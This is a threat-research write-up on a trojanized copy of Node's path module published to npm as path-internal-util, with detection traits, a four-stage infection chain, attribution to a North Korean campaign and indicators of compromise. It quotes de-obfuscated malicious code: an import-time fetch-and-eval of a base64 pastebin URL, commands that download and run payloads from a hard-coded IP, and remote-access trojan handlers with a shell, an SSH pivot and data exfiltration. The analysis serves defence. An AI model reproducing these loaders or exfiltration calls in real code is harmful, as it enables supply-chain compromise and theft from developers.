Nobody reads Node's path module. It splits filenames, it has shipped unchanged for years, and it is the last place anyone looks for trouble — which is exactly why someone copied it, byte for byte, onto npm and slipped three lines inside. Those lines turn an ordinary import into a call to a free pastebin, and they run whatever the pastebin hands back; the technique is dull copy-paste, but it doesn't matter, because the package gives itself away long before anyone reads the URL.
Package metadata
| Field | Value |
|---|---|
| Name | path-internal-util |
| Version | 1.0.2 |
| Description | Node.js path module |
| Author | (empty) |
| License | ISC |
| Main | ./path.js |
| Dependencies | axios, execp, fs@0.0.1-security, process, request, path@0.12.7, util |
Stage 1 — the graft
The carrier is Joyent's original, untouched down to the copyright header. The graft is a single base64 string and a small function, fired by an unguarded wrapper at the foot of the file — so importing the package is enough, with no install hook for an audit to catch.
var tokenStringRe = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9DV09WOQ=="; // → jsonkeeper.com/b/CWOV9
function loadTokenData () {
fetch(atob(tokenStringRe)).then((t) => t.json()).then((data) => eval(data.content));
}
(function () { loadTokenData(); })(); // fires on require(); inert loadStringData() sibling left commented out
| Trait | What it caught | |
|---|---|---|
objectives/supply-chain/trojanized/library/remote-eval |
verbatim Joyent source carrying an IIFE that evals a fetched body |
|
objectives/command-and-control/dropper/delivery/fetch-eval |
fetch → decode → parse → eval, to a literal pastebin URL | |
objectives/anti-static/obfuscation/payload/encoded |
base64 string decoded and executed in the same file | |
objectives/supply-chain/impersonation/core-module |
a package calling itself the path module while shipping an execp dependency |
|
well-known/malware/stealer/beaver-tail |
the bare execp dependency — the Nickel Alley tell |
|
objectives/supply-chain/metadata-anomaly/dependency/facade |
declared dependencies the code never loads |
Caught by shape, not the URL
The verdict above never touched the pastebin: five hostile traits fire in three separate corners of the taxonomy, each a fact about how the package is built rather than a string to blocklist.
- It ships a core module verbatim — copyright header, helpers, exports, all of it.
- It decodes, fetches, parses, and evaluates in four linked calls.
- It claims to be the path module yet loads only one of its seven declared dependencies.
Swap the pastebin, re-encode the string, impersonate a different core module — all three still fire. That is the line between catching a sample and catching a family.
Following the thread
The pastebin was live, so we pulled it. The first hop returned obfuscated JavaScript that installs two HTTP libraries, beacons a hard-coded address with a campaign ID, saves the reply to disk, and runs it. The install command matches web-dotenv's from last month flag for flag — the same crew, reusing the same loader.
// jsonkeeper CWOV9, de-obfuscated
execSync("npm install axios socket.io-client --no-save --no-progress --loglevel silent");
axios.get("http://216.126.225.83/api/service/55dfb627190b5091e5164c010d6c5c52")
.then((r) => { writeFileSync(join(tmpdir(), "0001.dat"), r.data); execSync("node 0001.dat"); });
That address answered with a second blob whose only job is to drop a third — it writes a file and runs it, after wiring up handlers that swallow any crash on the way.
// 0001.dat, de-obfuscated — the entire dropper
writeFileSync(join(tmpdir(), "scdata"), payload, { flag: "w+" });
execSync("node scdata", { windowsHide: true });
That last file, scdata, is the payoff: a remote-access trojan over a persistent socket, with an interactive shell, an SSH channel, and screenshots on demand. It stamps each packet with the same telemetry its siblings used, and ships the loot to an endpoint cleave already flags by name — Lazarus.
// scdata — InvisibleFerret RAT (uid 55dfb627…, t='104')
const sock = require("socket.io-client")(C2);
sock.on("terminal-input", run); // interactive shell
sock.on("start_ssh", openSSH); // SSH pivot
axios.post("http://216.126.225.83/api/service/makelog", loot); // Lazarus exfil
| Trait | What it caught | |
|---|---|---|
objectives/anti-static/obfuscation/payload/data-file |
the dropper: an obfuscated blob that launches a hidden Node child | |
objectives/command-and-control/remote-command/control |
the RAT: terminal-output, terminal-resize, remote command execution |
|
well-known/malware/dropper/lazarus |
exfil to /api/service/makelog — the GlassWorm / Lazarus signature |
|
objectives/supply-chain/install-hook/scripts/dynamic-install |
runtime install of socket.io-client, sharp, screenshot-desktop |
|
micro-behaviors/communications/ip/literal |
hard-coded 216.126.225.83 C2 |
Attribution
This is North Korea's Contagious Interview operation — the BeaverTail loader dropping the InvisibleFerret trojan — and the recovered chain proves it at the toolkit level, not on a hunch. The install line, the campaign-ID URL scheme, the numbered drop file, and the stealer's telemetry are the same kit on the same Tier.Net range as web-dotenv and clx-cookieparser, both already pinned to the group via dprk-research.kmsec.uk. cleave reaches that verdict on its own when the exfil path trips its Lazarus rule; this is simply a fresh instance of the kit, same operator.
Indicators
| Type | Value |
|---|---|
| Package | path-internal-util@1.0.2 (npm) |
| npm page | npmjs.com/package/path-internal-util |
| Tarball SHA-256 | 7d62ba9c7d79e4cb37a67311866645b88245840d765302bc79286a8e3c0f8a95 |
path.js SHA-256 |
98b01dc2b472069106e707749862ea5cfcd1bb2fb339dfeda28047ef1630cbaf |
| Stage 2 URL | https://www.jsonkeeper.com/b/CWOV9 (base64: aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9DV09WOQ==) |
| Stage 2 SHA-256 (snapshot) | 3d4191faf32641523d277ea8ce36b6fede103e325773f36ab2208e82ed6c9031 |
| Stage 3 URL | http://216.126.225.83/api/service/55dfb627190b5091e5164c010d6c5c52 (Tier.Net, 216.126.224.0/22) |
| Stage 3 SHA-256 (snapshot) | aae780b19c4a99cf4f3a22267bc3020cd03900921e43ad69ae83b7b8ee76e17d |
Stage 4 scdata SHA-256 (snapshot) |
b9fbc752c940f7fcb4ce2ae1a70ed0b4890e9b4818d04e7c6df18102c8a49115 |
| Dropped files | $TMPDIR/0001.dat, $TMPDIR/scdata, $TMPDIR/.npm/vhost.ctl (pid lock) |
| Exfil endpoint | http://216.126.225.83/api/service/makelog |
| Campaign UID | 55dfb627190b5091e5164c010d6c5c52 (telemetry t='104') |
| Facade dependency | execp (Nickel Alley / BeaverTail IOC) |